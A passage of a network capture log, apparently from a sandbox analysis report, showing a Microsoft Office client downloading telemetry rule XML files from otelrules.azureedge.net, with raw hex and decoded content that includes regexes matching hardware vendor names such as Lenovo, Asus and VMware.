R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:13 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:13 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 73bf7d7c-c01e-000b-6bd1-3ee255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045913Z-178bfbc474bpnd5vhC1NYC4vr400000006xg00000000dqvz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:14 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:13 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045914Z-178bfbc474bpnd5vhC1NYC4vr400000006z000000000apcs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:14 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:13 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:14 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:14 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da423632-601e-0002-52c6-3ea786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045914Z-178bfbc474bw8bwphC1NYC38b400000006rg00000000gp3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:59:14 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:13 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:14 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 6ebbc676-001e-005a-784b-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045914Z-15b8b599d885ffrhhC1TEBtuv000000005m0000000003nak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:14 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:15 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:16 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: e98193a8-301e-003f-0a64-3d266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045916Z-15b8b599d885v8r9hC1TEB104g00000005e000000000gdzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:16 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:15 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ad60cd0f-c01e-008e-6f6a-3c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045916Z-174c587ffdfb74xqhC1TEBhabc00000005gg00000000553t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:15 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 3e1ce11e-901e-00ac-5292-3bb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045916Z-15b8b599d88pxmdghC1TEBux9c00000005hg00000000cmd5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:16 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 5fd12e2e-e01e-0051-1fc8-3e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045916Z-178bfbc474bp8mkvhC1NYCzqnn00000006ug000000008uzn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:16 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:16 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045916Z-174c587ffdfmlsmvhC1TEBvyks00000005n0000000008rz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:16 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:17 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:18 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045918Z-174c587ffdfdwxdvhC1TEB1c4n000000059000000000qsdd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:18 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:18 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 7fd471a5-f01e-00aa-27bf-3b8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045918Z-15b8b599d88f9wfchC1TEBm2kc00000005g000000000hh0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:18 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:18 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e328efd5-c01e-00a2-56bf-3e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045918Z-178bfbc474btvfdfhC1NYCa2en00000006zg00000000f1wk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:59:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" 